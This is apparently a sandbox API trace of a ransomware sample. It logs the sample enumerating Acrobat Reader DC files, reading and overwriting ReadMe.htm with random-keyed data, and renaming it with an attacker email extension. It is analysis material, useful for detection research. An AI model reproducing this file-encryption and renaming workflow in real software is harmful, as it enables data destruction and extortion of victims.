	[0077.994] wcscat (in: _Dest=0x476d8e8, _Source="plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d"
	[0077.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc
	[0077.994] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1
	[0077.994] wcscmp (_String1="pmd.cer", _String2=".") returned 1
	[0077.994] wcscmp (_String1="pmd.cer", _String2="..") returned 1
	[0077.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498d708
	[0077.994] wcscpy (in: _Dest=0x498d708, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.994] wcscat (in: _Dest=0x498d708, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.995] wcscat (in: _Dest=0x498d708, _Source="pmd.cer" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer"
	[0077.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498d708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0
	[0077.995] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1
	[0077.995] wcscmp (_String1="reader_sl.exe", _String2=".") returned 1
	[0077.995] wcscmp (_String1="reader_sl.exe", _String2="..") returned 1
	[0077.995] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb1353b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x184a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1
	[0077.995] wcscmp (_String1="rt3d.dll", _String2=".") returned 1
	[0077.995] wcscmp (_String1="rt3d.dll", _String2="..") returned 1
	[0077.995] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1
	[0077.995] wcscmp (_String1="RTC.der", _String2=".") returned 1
	[0077.995] wcscmp (_String1="RTC.der", _String2="..") returned 1
	[0077.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498ddf0
	[0077.995] wcscpy (in: _Dest=0x498ddf0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.995] wcscat (in: _Dest=0x498ddf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.996] wcscat (in: _Dest=0x498ddf0, _Source="RTC.der" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der"
	[0077.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498ddf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4
	[0077.996] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x386f10de, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1
	[0077.996] wcscmp (_String1="ScCore.dll", _String2=".") returned 1
	[0077.996] wcscmp (_String1="ScCore.dll", _String2="..") returned 1
	[0077.996] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1
	[0077.996] wcscmp (_String1="sqlite.dll", _String2=".") returned 1
	[0077.996] wcscmp (_String1="sqlite.dll", _String2="..") returned 1
	[0077.996] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1
	[0077.996] wcscmp (_String1="Tracker", _String2=".") returned 1
	[0077.996] wcscmp (_String1="Tracker", _String2="..") returned 1
	[0077.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498dd68
	[0077.996] wcscpy (in: _Dest=0x498dd68, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.997] wcscat (in: _Dest=0x498dd68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.997] wcscat (in: _Dest=0x498dd68, _Source="Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0077.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498dd68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8
	[0077.997] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1
	[0077.997] wcscmp (_String1="UIThemes", _String2=".") returned 1
	[0077.997] wcscmp (_String1="UIThemes", _String2="..") returned 1
	[0077.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498d9b0
	[0077.997] wcscpy (in: _Dest=0x498d9b0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.998] wcscat (in: _Dest=0x498d9b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.998] wcscat (in: _Dest=0x498d9b0, _Source="UIThemes" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes"
	[0077.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498d9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc
	[0077.998] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1
	[0077.998] wcscmp (_String1="ViewerPS.dll", _String2=".") returned 1
	[0077.998] wcscmp (_String1="ViewerPS.dll", _String2="..") returned 1
	[0077.998] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebResources", cAlternateFileName="WEBRES~1")) returned 1
	[0077.998] wcscmp (_String1="WebResources", _String2=".") returned 1
	[0077.998] wcscmp (_String1="WebResources", _String2="..") returned 1
	[0077.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476d738
	[0077.998] wcscpy (in: _Dest=0x476d738, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.998] wcscat (in: _Dest=0x476d738, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.999] wcscat (in: _Dest=0x476d738, _Source="WebResources" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources"
	[0077.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0
	[0077.999] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1
	[0077.999] wcscmp (_String1="Welcome.pdf", _String2=".") returned 1
	[0077.999] wcscmp (_String1="Welcome.pdf", _String2="..") returned 1
	[0077.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476dbb8
	[0077.999] wcscpy (in: _Dest=0x476dbb8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.999] wcscat (in: _Dest=0x476dbb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.999] wcscat (in: _Dest=0x476dbb8, _Source="Welcome.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf"
	[0077.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476dbb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4
	[0078.000] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1
	[0078.000] wcscmp (_String1="wow_helper.exe", _String2=".") returned 1
	[0078.000] wcscmp (_String1="wow_helper.exe", _String2="..") returned 1
	[0078.000] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0
	[0078.000] FindClose (in: hFindFile=0x2dad778 | out: hFindFile=0x2dad778) returned 1
	[0078.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4747e20) returned 1
	[0078.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47533e0) returned 1
	[0078.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1

Thread:
	id = 575
	os_tid = 0x1828

	[0077.476] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm")) returned 0x20
	[0081.829] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", dwFileAttributes=0x20) returned 1
	[0081.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1490
	[0081.830] GetFileSizeEx (in: hFile=0x1490, lpFileSize=0x1623fb30 | out: lpFileSize=0x1623fb30*=16633) returned 1
	[0081.830] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x40f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.830] ReadFile (in: hFile=0x1490, lpBuffer=0x1623fab4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1623fab0, lpOverlapped=0x0 | out: lpBuffer=0x1623fab4*, lpNumberOfBytesRead=0x1623fab0*=0x4, lpOverlapped=0x0) returned 1
	[0081.831] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.831] NtQuerySystemTime (in: CurrentTime=0x1623fa90 | out: CurrentTime=0x1623fa90*=132251868085619942) returned 0x0
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xc061d485
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xd53c3faf
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x310fdc5
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x5c88285d
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x20abee98
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xc1bd50a4
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xa7eb291d
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x5ac41904
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x8f595b80
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xb9bce16a
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x5dc27984
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x6452ed6
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xc2894218
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x5e90934c
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x61d9d5d9
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xffbd932f
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xf841a7a
	[0081.831] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x72f7a849
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x55157ab6
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x15e40427
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xa3396ed7
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x90541257
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xe60c61e0
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xa20b9351
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x346b3936
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xb6aed2cf
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x2e282f28
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x5aaa6ca8
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xdd7e7736
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0xd3bdd44f
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x22ade531
	[0081.832] RtlRandom (in: Seed=0x1623fa9c | out: Seed=0x1623fa9c) returned 0x17cd6f8a
	[0081.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0081.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0081.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4838818
	[0081.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0081.851] ReadFile (in: hFile=0x1490, lpBuffer=0x4838818, nNumberOfBytesToRead=0x40f9, lpNumberOfBytesRead=0x1623fa8c, lpOverlapped=0x0 | out: lpBuffer=0x4838818*, lpNumberOfBytesRead=0x1623fa8c*=0x40f9, lpOverlapped=0x0) returned 1
	[0081.852] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.852] WriteFile (in: hFile=0x1490, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0x40f9, lpNumberOfBytesWritten=0x1623fa88, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x1623fa88*=0x40f9, lpOverlapped=0x0) returned 1
	[0084.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0084.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0084.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0084.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4838818) returned 1
	[0084.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0084.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0084.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d780b0
	[0084.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d77db0
	[0084.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x105) returned 0x500cbe8
	[0084.813] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.813] WriteFile (in: hFile=0x1490, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x1623faf0, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x1623faf0*=0x105, lpOverlapped=0x0) returned 1
	[0084.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0084.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0084.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0084.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0084.818] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33848) returned 1
	[0084.818] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33870) returned 1
	[0084.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4924bb8
	[0084.818] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm"
	[0084.818] wcscat (in: _Dest=0x4924bb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
